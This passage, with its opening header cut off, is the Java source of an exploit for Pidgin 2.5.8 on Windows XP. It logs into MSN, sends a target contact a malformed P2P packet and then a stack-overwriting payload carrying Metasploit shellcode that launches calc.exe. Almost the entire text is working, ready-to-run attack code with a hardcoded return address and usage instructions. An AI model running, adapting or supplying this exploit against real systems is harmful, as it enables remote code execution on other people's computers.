*        java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
*
*/
 
import net.sf.jml.*;
import net.sf.jml.event.*;
import net.sf.jml.impl.*;
import net.sf.jml.message.p2p.*;
import net.sf.jml.util.*;
 
public class PidginExploit {
 
   private MsnMessenger messenger;
   private String login;
   private String password;
   private String target;
 
   private int session_id = NumberUtils.getIntRandom();
 
   private byte shellcode[] = new byte[] {
 
           /*
            * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
            * sub esp,500
            */
               (byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,
 
 
           /*
            * windows/exec - 121 bytes
            * http://www.metasploit.com
            * EXITFUNC=process, CMD=calc.exe
            */
               (byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,
               (byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
               (byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
               (byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
               (byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
               (byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,
               (byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
               (byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
               (byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,
               (byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,
               (byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,
               (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,
               (byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,
               (byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,
               (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,
               (byte) 0x00
           };
 
   // reteip = pointer to the return address in the stack
   // The shellcode will be wrote just before reteip
   // and reteip will automaticly point to the shellcode. It's magic !
   private int reteip = 0x0022CFCC;    //stack on XP SP3-FR Pidgin 2.5.8
 
   private int neweip;
   private byte[] payload = new byte[shellcode.length + 4];
   private int totallength = reteip + 4;
 
   public static void main(String[] args) throws Exception {
 
       if(args.length != 3){
           System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL");
       }else{
           PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);
           exploit.start();
       }
 
   }
 
   public PidginExploit(String login, String password, String target){
       this.login = login;
       this.password = password;
       this.target = target;
 
       neweip = reteip - shellcode.length ;
 
       for(int i=0;i<shellcode.length;i++)
           payload[i] = shellcode[i];
 
       payload[shellcode.length] = (byte)(neweip & 0x000000FF);
       payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8);
       payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
       payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
   }
 
   public void start() {
       messenger = MsnMessengerFactory.createMsnMessenger(login,password);
       messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);
 
       messenger.setLogIncoming(false);
       messenger.setLogOutgoing(false);
 
       initMessenger(messenger);
       messenger.login();
   }
 
   protected void initMessenger(MsnMessenger messenger) {
 
   messenger.addContactListListener(new MsnContactListAdapter() {
 
           public void contactListInitCompleted(MsnMessenger messenger) {
 
               final Object id = new Object();
 
               messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {
 
                   public void switchboardStarted(MsnSwitchboard switchboard) {
 
                       if (id != switchboard.getAttachment())
                           return;
 
                       switchboard.inviteContact(Email.parseStr(target));
                   }
 
                   public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
                       if (id != switchboard.getAttachment())
                           return;
 
                       MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
                       msg.setIdentifier(NumberUtils.getIntRandom());
                       msg.setSessionId(session_id);
                       msg.setOffset(0);
                       msg.setTotalLength(totallength);
                       msg.setCurrentLength(totallength);
 
                       // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
                       // We'll use this buffer to rewrite memory in the stack
                       msg.setFlag(0x1000020);
 
                       msg.setP2PDest(target);
 
                       switchboard.sendMessage(msg);
 
                       System.out.println("First packet sent, waiting for the ACK");
 
                   }
 
                   public void switchboardClosed(MsnSwitchboard switchboard) {
                       System.out.println("switchboardClosed");
                       switchboard.getMessenger().removeSwitchboardListener(this);
                   }
 
                   public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
                       System.out.println("contactLeaveSwitchboard");
                   }
               });
               messenger.newSwitchboard(id);
           }
       });
 
       messenger.addMessageListener(new MsnMessageAdapter(){
 
           public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {
 
               //We receive the ACK of our first packet with the ID of the new bogus packet
               message.getIdentifier();
 
               MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
                       payload.length, payload, target);
 
               switchboard.sendMessage(msg);
               System.out.println("ACK received && Payload sent !");
               System.out.println("Exploit OK ! CTRL+C to quit");
 
           }
       });
 
 
 
       messenger.addMessengerListener(new MsnMessengerAdapter() {
 
           public void loginCompleted(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " login");
           }
 
           public void logout(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " logout");
           }
 
           public void exceptionCaught(MsnMessenger messenger,
                   Throwable throwable) {
               System.out.println("caught exception: " + throwable);
           }
       });
 
   }
}